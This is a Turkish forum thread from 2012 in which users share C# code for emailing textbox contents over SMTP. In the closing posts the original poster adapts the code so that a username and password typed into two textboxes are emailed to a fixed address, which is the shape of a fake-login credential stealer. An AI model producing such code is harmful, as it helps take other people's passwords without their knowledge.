Anarchosa Posted August 9, 2012 Share Posted August 9, 2012 [size="3"][size="2"][b]C#'ta textboxa girilen bir bilgiyi nasıl mail ile gönderebiliriz,merak ediyorum programı sürekli kullanıyorum konuyu açarken boş boş hiç uğraşmadan açmak istemedim gelebildiğim yere kadar geldim ancak textbox bilgisini ekleyerek gönderme işlemini sağlayamıyorum.[/b][/size][/size] [codebox]Eposta.From = new MailAddress("gönderecek kisi"); Eposta.To.Add("gönderilecek eposta"); Eposta.To.Add("gönderilecek eposta"); Eposta.Attachments.Add(new Attachment(@"C:\deneme.txt")); Eposta.Subject = "Konu"; SmtpClient smtp = new SmtpClient(); smtp.Host = "smtp.live.com"; smtp.EnableSsl = true; smtp.SendAsync(Eposta, (object)Eposta); smtp.Credentials = new System.Net.NetworkCredential("gönderecek kisi", "sifresi"); smtp.Send(Eposta); smtp.Port = 25;[/codebox] Quote Link to comment Share on other sites More sharing options...
abdullahTR Posted August 9, 2012 Share Posted August 9, 2012 kodu yazdıysan eger eminsen bir textbox bir buton koy projene bütün kodları butona yaz textboxa yazılanları al gönder butona basınca Quote Link to comment Share on other sites More sharing options...
Anarchosa Posted August 9, 2012 Author Share Posted August 9, 2012 textbox'ı bağlayamıyorum abdullahçım konumu okudunmu Quote Link to comment Share on other sites More sharing options...
DivaneTR Posted August 9, 2012 Share Posted August 9, 2012 Gmail ile olanı var, işine yarar mı ? Quote Link to comment Share on other sites More sharing options...
Anarchosa Posted August 9, 2012 Author Share Posted August 9, 2012 (edited) oda olabilir verebilir misin? Textbox'a göre mantık aynı ise men smtp'sini POP3 göre ayarlarım sıkıntı olmaz ayarlarız [b][color="#00BFFF"] DivaneTR[/color][/b] Edited August 9, 2012 by Anarchosa Quote Link to comment Share on other sites More sharing options...
DivaneTR Posted August 9, 2012 Share Posted August 9, 2012 Pek anlamıyorum, C# diline başlayalı bir hafta oldu. İki tane textbox oluştur, bir tanesi alıcı mail, bir tanesi konu başlığı. İleti için richtextbox kullandım, sen düzenlersin. Namespace alanına ; [code]using System.Net.Mail;[/code] Gönderecek Kodlar ; [codebox] try { MailMessage mesaj = new MailMessage(); mesaj.From = new MailAddress("gonderici[at]gmail.com", "Gönderen Adı", System.Text.Encoding.UTF8); SmtpClient smtp = new SmtpClient(); mesaj.To.Add(textBox1.Text); // alici mesaj.Subject = textBox2.Text; //konu mesaj.IsBodyHtml = false; mesaj.BodyEncoding = System.Text.Encoding.UTF8; mesaj.Body = richTextBox1.Text; mesaj.Priority = MailPriority.High; smtp.Credentials = new System.Net.NetworkCredential("gonderici[at]gmail.com", "sifre"); smtp.Port = 587; smtp.Host = "smtp.gmail.com"; smtp.EnableSsl = true; smtp.Send(mesaj); } catch (Exception ex) { MessageBox.Show(ex.Message.ToString()); } [/codebox] Bir sorun olursa try catch sana söyler Quote Link to comment Share on other sites More sharing options...
Anarchosa Posted August 9, 2012 Author Share Posted August 9, 2012 Hotmaile göe ayarladım yalnız ufak bir sorun mesajın içeriği boş Quote Link to comment Share on other sites More sharing options...
Anarchosa Posted August 9, 2012 Author Share Posted August 9, 2012 (edited) Tamamdır mesaj kısmına Body komutunu yanlışıkla çıkarmışım kusura bakmayın Edited August 9, 2012 by Anarchosa Quote Link to comment Share on other sites More sharing options...
DivaneTR Posted August 9, 2012 Share Posted August 9, 2012 [color="#8B0000"]Ben gmail üzerinden denedim sorun yok, hatta birkaç defa mail gönderdim hiç sorun olmadı.[/color] Quote Link to comment Share on other sites More sharing options...
Anarchosa Posted August 9, 2012 Author Share Posted August 9, 2012 (edited) Mesela şöyle bişey yapılabilirmi? mesaj gönderirken body komutunu kullanıyoruz BODY komutu sadece şifreyi textboxu alıp gönderm yapıyor kullanıcı adını almıyor buna bir çözüm bulabilirmiyiz? [img]http://www.tnctr.com/uploads/imgs/pre_1344537086__deneme.jpg[/img] Tamamdır buyrun nasıl yaptığıma bakabilirsiniz. [code]mesaj.Body ="KULLANICI ADI:"+ textBox1.Text + ","+ "ŞİFRE:"+ textBox2.Text;[/code] Edited August 9, 2012 by Anarchosa Quote Link to comment Share on other sites More sharing options...
DivaneTR Posted August 9, 2012 Share Posted August 9, 2012 Dediğini tam anlamadım. BODY komutu derken neyi kastediyorsun ? Quote Link to comment Share on other sites More sharing options...
Anarchosa Posted August 9, 2012 Author Share Posted August 9, 2012 (edited) [quote name='DivaneTR' date='09 August 2012 - 20:34 ' timestamp='1344537248' post='1229247'] Dediğini tam anlamadım. BODY komutu derken neyi kastediyorsun ? [/quote] body komutu hotmailde mesajın içeriğidir biliyorsun,yalnız ben 2 textbox oluşturduğum için ilk textbox1 alıyor 2.textbox 2 almıyordu ben yanlış komut kullanmıştım kullandığım yanlış konut şuydu [codebox] mesaj.Body = "KULLANICI ADI:"+textBox1.Text; mesaj.Body = "ŞİFRE"+ textBox2.Text;[/codebox] bu yüzden sıkıntı çıktı daha önceden C# bilgimle olayı hatırladım Tek body üzerinden 2 textbox kutusunu birleştirip + "," + ayrım yaparak textbox girişini sağlattım. kullandığım tek body üzerinden: [code]mesaj.Body ="KULLANICI ADI:"+ textBox1.Text + ","+ "ŞİFRE:"+ textBox2.Text;[/code] inş anlatabildim. Edited August 9, 2012 by Anarchosa Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.